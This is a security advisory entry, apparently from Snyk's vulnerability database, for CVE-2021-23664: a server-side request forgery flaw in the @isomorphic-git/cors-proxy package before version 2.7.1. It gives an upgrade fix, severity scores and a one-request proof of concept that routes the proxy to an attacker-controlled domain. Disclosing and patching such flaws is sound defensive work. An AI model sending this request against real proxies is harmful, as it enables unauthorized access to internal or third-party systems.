

Server-side Request Forgery (SSRF)

Affecting @isomorphic-git/cors-proxy package, versions <2.7.1

INTRODUCED: 15 OCT 2021 CVE-2021-23664 CWE-918 FIRST ADDED BY SNYK

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How to fix?

Upgrade @isomorphic-git/cors-proxy to version 2.7.1 or higher.

Overview

@isomorphic-git/cors-proxy is a Proxy clone and push requests for the browser

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js .

PoC

GET /www.attacker-controlled-domain.com/info/refs?service=git-receive-pack HTTP/1.1 Host: target.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

References

- GitHub Fix Commit

PRODUCT

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RESOURCES

Vulnerability DB

HIGH

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Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Scope	Changed
Confidentiality	HIGH

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> NVD

7.5 HIGH

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Snyk ID SNYK-JS-ISOMORPHICGITCORSPROXY-1734788

Published 20 Jan 2022

Disclosed 15 Oct 2021

Credit Jasmin Landry

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